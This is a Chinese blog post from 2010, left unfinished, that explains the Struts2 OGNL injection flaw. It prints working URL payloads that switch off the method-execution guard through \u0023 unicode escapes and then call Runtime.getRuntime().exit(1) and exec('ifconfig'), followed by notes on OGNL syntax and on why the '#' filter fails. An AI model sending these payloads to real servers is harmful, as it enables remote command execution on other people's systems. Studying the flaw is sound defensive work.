?('\u0023_memberAccess[\'allowStaticMethodAccess\']')
(meh)=true&(aaa)
(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')
(\u0023foo\u003dnew%20java.lang.Boolean("false")))
&(asdf)
(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1 


?('#_memberAccess['allowStaticMethodAccess']')(meh)=true
&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new java.lang.Boolean("false")))
&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1 

OGNL处理时最终的结果就是
java.lang.Runtime.getRuntime().exit(1); 

----------------------------------------------------------------

?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true
&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))
&(asdf)(('\u0023rt.exec("ifconfig")')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

OGNL处理时最终的结果就是
java.lang.Runtime.getRuntime().exec("ifconfig") 

 

以上为struts2.1.2版本洗一下的一个漏洞。首先铺垫一下,上面代码执行结果为停掉当前运行的容器,getRuntime().exit(1);退出。
首先这个漏洞出现是因为OGNL 的用法。
 简单的介绍一下ognl概念去看百科吧,说一下用法:
 OGNL的方法调用:
  OGNL是在运行时调用方法的,这使得它无法做强制的类型检查,OGNL会去检索一个和它方法的各个参数最接近的一个方法进行使用,
  如果有多个方法满足这个条件,那么OGNL将任意调用其中的一个.(NULL和所有原始类型匹配,所以最有可能返回一个出乎意料的调用).
 OGNL也支持new object()的方法,产生一个新的对象,但是除了在java.lang包里的对象外,必须指明对象所在包的全名.
 OGNL支持直接调用类的静态方法.@class@method(args)
  eg:@abs(-12.345);
      @Java.lang.Math@floor(3.25);
      @Java.lang.Math@Sqrt(4);
 OGNL操作集合
  1操作列表Lists
   OGNL中Person in {"chinese", "japanese", '"Amercian"}
  2 操作映射
   OGNL中#{"foo" : "foovalue", "bar" : "barvalue"}
 OGNL有一个简化变量机制(在变量前加符号#),所有OGNL变量在整个表达式里是全局的。
  eg:#var
      #var = 99
      listeners.size().( #this > 100 ? 2 * #this : 20 + #this ) 调用listeners的size()并与100比较,
   #this为size的值,如果大于100则是返回两倍的size值。
   可以这样创建一个Map:
   #{“foo”: “foo value”, “bar”: “bar value” }
   #@java.util.LinkedHashMap@{“foo”: “foo value”, “bar”: “bar value” }
 OGNL 上下文变量
  #application
  #session
  #request
  #parameters
  #attr
  以上各值分别对应应用程序的不同层次的值,为了达到程序不被恶意修改在xwork包 com.opensymphony.xwork2.interceptor.PrepareInterceptor类中对#号进行了过滤。
  但没有过滤java中的unicode码,#的是\u0023
(未完待续。。)



我们有的时候等的不是机会,而是时间,等时间让我们自己改变。
posted on 2010-08-09 09:23 王小同 阅读(1360) 评论(0)  编辑  收藏

只有注册用户登录后才能发表评论。


网站导航:
 

统计

关注的blog